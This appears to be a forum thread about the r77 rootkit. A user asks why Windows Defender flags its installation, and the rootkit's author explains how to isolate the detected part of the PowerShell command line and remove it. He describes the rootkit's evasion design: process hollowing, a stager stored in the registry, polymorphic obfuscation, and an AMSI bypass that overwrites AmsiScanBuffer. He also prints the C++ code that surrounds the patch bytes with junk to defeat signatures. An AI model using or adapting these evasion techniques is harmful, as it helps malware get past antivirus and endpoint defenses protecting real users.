MaleficAms.A Detection

[SecResearch007]

Hi, I'm running into an issue when running the shellcode, and I think it may be because of r77.

I made my own dll loader and am using that to decrypt the shellcode and run it by spawning a 32bit suspended cmd child process as admin with the parent process being the program running the dll, but I am getting a detection by MaleficAms.A

I think it might be the actual installation of r77 though because the shellcode is dropping the stager payload with the right bytes into the registry but after that it seems that it is detected by MaleficAms.A and all execution stops.

Any help is appreciated. Thanks
Name: Behavior:Win32/MaleficAms.A
Severity: Severe
Category: Suspicious Behavior
Path: behavior:_process: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, pid:4796:4145....; process:_pid:4796,ProcessStart:1340....

[bytecode77]

The shellcode is about 1KB of position independent assembly followed by the Install.exe file. The shellcode uses process hollowing to execute Install.exe, which obviously worked because the Stager was written to the registry. The service was also successfully created, since the commandline you see was initiated by that service.

The detection happens when the service launches powershell.exe with that enormous commandline. It's hard to say what is suspicious according to your AV. I no longer fix these detections, except for some general hardening under the hood. You might want to modify the powershell commandline to see which part is detected, why that is, and how to make it not detected.

[SecResearch007]

Ok, thanks for the clarification. So it isn't anything to do with AMSI at that point of the execution? And how would I go about seeing which part is detected? Just dump the PowerShell command line and keep shortening it and executing different parts of it to see what could be causing the flag?

Sorry for the late response, thanks.

[bytecode77]

First, get the PowerShell commandline from the r77 Windows Service. You need to detach r77 from all processes to be able to do this, but not uninstall it. The name of the Windows service is $77svc.

Then, paste that commandline in Powershell. This will offend your AV, which is why r77 doesn't start in your scenario. Now you have a playground for figuring out which part of the commandline offends AV. The C++ code that builds the commandline is way more pleasant to look at than the actual, obfuscated commandline.

But for the sake of finding the part that offends the AV, you can really just start by removing parts of the commandline, regardless of whether or not the commandline executes properly. You care about what is detected, then you can think about how to fix it.

When you want to try specific changes to how the commandline is built, it can be sometimes easier to change the C++ code that creates the string rather than the commandline itself.

[SecResearch007]

Thank you very much for the help!

[SecResearch007]

Haven't been working on this for a while and just came back to read this after some research.

Isn't this AMSI patching technique just completely redundant??

Defender already behaviorally flags this and anything similar that modifies the amsi.dll / amsiscanbuffer in memory and even though I have found what flags malefic, it really shouldnt matter if I edit it or not because it still has the same workflow.

I know you have alot more experience so maybe I'm missing something here, but I appreciate any help.

Thanks

[bytecode77]

Without AMSI bypass the commandline is just [Reflection.Assembly]::Load....Invoke($Null,$Null). Plain and simple, but sends the stager executable straight to AV for analysis, and will stop Powershell.

Now, I had several iterations where I introduced the AMSI bypass first, making r77 truly FUD. Of course, since my repo is public, there are signatures on that commandline. AMSI bypasses like this work purely signature based, there is no runtime detection. Even changing parts of the text can break the signature, but AV vendors just add a signature for the new text.

That's when I introduced obfuscation. After that I made the obfuscation polymorphic, which means it is regenerated upon installation and is always 100% unique. There might be small portions that make up an AV signature that you need to find and eliminate. Some AV might flag the length of the script itself.

The last thing was this:

Overwriting the function with mov eax, 0x80070057 ret got detected, so I sprinkled some junk assembly into that very shellcode. See: WriteDummyShellCodeBytes.

			// b8 57 00 07 80	mov		eax, 0x80070057
			// c3				ret
			DWORD shellCodeSize = 6;

			StrCatW(command, L"[Runtime.InteropServices.Marshal]::Copy([Byte[]](");
			shellCodeSize += WriteDummyShellCodeBytes(command);
			StrCatW(command, L",");
			WriteShellCodeBytes(command, "\xb8\x57\x00\x07\x80", 5);
			StrCatW(command, L",");
			shellCodeSize += WriteDummyShellCodeBytes(command);
			StrCatW(command, L",");
			WriteShellCodeBytes(command, "\xc3", 1);
			StrCatW(command, L",");
			shellCodeSize += WriteDummyShellCodeBytes(command);
			StrCatW(command, L"),0,$AmsiScanBufferPtr,");
			WriteObfuscatedNumber(command, shellCodeSize);
			StrCatW(command, L");");

That really beat Windows Defender for a long time, until they found god knows what.

See: All of these improvements are in-depth defenses against detection. Fixing the individual bits and pieces is an excercise to the reader. But I needed to make sure that the commandline has almost no constant part, and that memory analysis is stopped reliably before the stager is executed. Without the AMSI bypass or by using some sort of AppInit_DLLs kind of loader, you will have unfixable detection issues.